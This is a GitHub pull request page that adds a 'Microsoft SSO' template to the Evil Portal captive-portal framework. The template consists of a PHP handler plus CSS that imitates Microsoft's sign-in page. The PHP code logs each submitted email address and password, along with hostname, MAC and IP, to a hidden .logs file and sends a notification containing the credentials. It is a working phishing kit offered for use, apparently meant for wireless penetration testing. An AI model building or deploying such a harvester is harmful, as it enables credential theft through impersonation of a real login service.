Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Microsoft SSO evilportal #51

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 4 additions & 0 deletions portals/microsoft-login/.disable
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
#!/bin/bash

# Commands in this file are ran when a portal is de-activated.
# You can use any interpreter you want to, the default is bash.
4 changes: 4 additions & 0 deletions portals/microsoft-login/.enable
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
#!/bin/bash

# Commands in this file are ran when a portal is activated and when Evil Portal startsup on boot.
# You can use any interpreter you want to, the default is bash.
37 changes: 37 additions & 0 deletions portals/microsoft-login/MyPortal.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
<?php namespace evilportal;

class MyPortal extends Portal
{

public function handleAuthorization()
{
if (isset($_POST['email'])) {
$email = isset($_POST['email']) ? $_POST['email'] : 'email';
$pwd = isset($_POST['password']) ? $_POST['password'] : 'password';
$hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'hostname';
$mac = isset($_POST['mac']) ? $_POST['mac'] : 'mac';
$ip = isset($_POST['ip']) ? $_POST['ip'] : 'ip';

$reflector = new \ReflectionClass(get_class($this));
$logPath = dirname($reflector->getFileName());
file_put_contents("{$logPath}/.logs", "[" . date('Y-m-d H:i:s') . "Z]\n" . "email: {$email}\npassword: {$pwd}\nhostname: {$hostname}\nmac: {$mac}\nip: {$ip}\n\n", FILE_APPEND);
$this->execBackground("notify $email' - '$pwd");
}
// handle form input or other extra things there

// Call parent to handle basic authorization first
parent::handleAuthorization();
}

public function onSuccess()
{
// Calls default success message
parent::onSuccess();
}

public function showError()
{
// Calls default error message
parent::showError();
}
}
2 changes: 2 additions & 0 deletions portals/microsoft-login/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
# Microsoft SSO Login Page
Microsoft single sign on login page, complete.
7 changes: 7 additions & 0 deletions portals/microsoft-login/assets/css/bootstrap.min.css

Large diffs are not rendered by default.

251 changes: 251 additions & 0 deletions portals/microsoft-login/assets/css/custom.css
Original file line number Diff line number Diff line change
@@ -0,0 +1,251 @@

/* desktop adjustments */
@media only screen and (min-width: 768px) {
.login-container {
width: 436px !important;
margin: auto !important;
margin-top: 181px !important;
height: 355px !important
}

.login-content {
padding-top: 30px !important;
padding-bottom: 40px !important;
}
}

.hv {
cursor: pointer!important;
}

html, body {
width: 100%;
height: 100%;
overflow: hidden;
}

html, body {
font-family: "Segoe UI","Helvetica Neue","Lucida Grande","Roboto","Ebrima","Nirmala UI","Gadugi","Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI","Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math";
}

.login-container {
margin-top: 0px;
border: 1px solid rgb(217, 220, 222);
height: 80%;
position: relative;
background-color: #fff;
}

@media (max-width: 767px){
.login-container {
border: 1px solid #fff;
}
}

.g-h1 {
padding-top: 15px;
}

.g-h1, .g-h2 {
font-size: 24px;
margin-left: 23px;
}

.g-h2 {
font-size: 16px;
}

.g-input {
border: 1px solid rgb(147 147 147);
width: 100%;
font-weight: 400;
height: 52px !important;
border-top: none;
border-right: none;
border-left: none;
}

.g-input:focus {
outline: none !important;
transition-timing-function: ease;
}

.g-input-invalid {
border: 1px solid red;
}

.g-input-invalid:focus {
border: 2px solid red;
}

.login-content {
padding-top: 24px;
}

.g-legend {
font-size: 14px;
color: #0067b8;
margin-top: 15px;
font-family: 'open-sans';
}

.g-legend:hover{
text-decoration: underline;
}

.p {
font-size: 14px;
color: #5f6368;
margin-bottom: 0px;
margin-left: 5px;
}

.login-priv {
margin-top: 32px;
}

.login-priv .g-legend {
margin-top: 0px !important;
}

.login-nav {
margin-top: 70px;
display: flex;
}

.login-nav2{
display: flex;
}

.linkbtn {
position: relative!important;
max-width: 100%!important;
text-align: center!important;
white-space: nowrap!important;
overflow: hidden!important;
text-overflow: ellipsis!important;
touch-action: manipulation!important;
color: #fff!important;
border-style: solid!important;
border-width: 2px!important;
border-color: transparent;
min-height: 32px!important;
border: none!important;
background-color: #0067b8!important;
min-width: 108px!important;
line-height: normal!important;
margin-top: 0!important;
margin-bottom: 0!important;
display: block!important;
text-decoration: none!important;
width: 100%!important;
cursor: pointer!important;
}

.gbtn-primary {
color: #fff;
border-color: transparent;
background-color: #0067b8;
display: block;
width: 100%;
margin-left: 4px;
}

.gbtn-second {
display: inline-block;
min-width: 100px;
padding: 4px 12px 4px 12px;
margin-top: 4px;
margin-bottom: 4px;
position: relative;
max-width: 100%;
text-align: center;
white-space: nowrap;
overflow: hidden;
vertical-align: middle;
text-overflow: ellipsis;
touch-action: manipulation;
color: #000;
border-style: solid;
border-width: 2px;
border-color: transparent;
min-height: 32px;
border: none;
background-color: #ccc;
background-color: rgba(0,0,0,0.2);
min-width: 108px;
line-height: normal;
margin-top: 0;
margin-bottom: 0;
display: block;
width: 100%;
}

.gbtn-second:hover {
background-color: rgb(0 0 0 / 23%);
transition: 0.2s;
transition-delay: 0.1s;
transition-timing-function: ease;
}

.gbtn-primary:hover {
background-color: #4285f4;
transition: 0.2s;
transition-delay: 0.1s;
transition-timing-function: ease;
}

.gbtn-label {
color: white;
font-weight: 400;
font-family: 'open-sans';
font-size: 14px;
font-weight: bold;
}

#logo {
margin: 0 4px;
display: table;
width: 75px;
float: none;
position: relative;
}

.login-content {
padding: 25px;
padding-top: 20px;
height: 100%;
}

.progress-bar-container {
min-height: 4px;
}

#login-app {
height: 100%;
}

.invalid-icon {
margin-right: 8px;
}

.invalid-icon svg {
fill: red;
}

.invalid-email-text-span {
font-size: 12px;
color: red;
}

.password-input {
margin-top: 20px;
}

.g-input:required {
box-shadow: none;
}

.banner-logo {
max-height: 36px;
}
Loading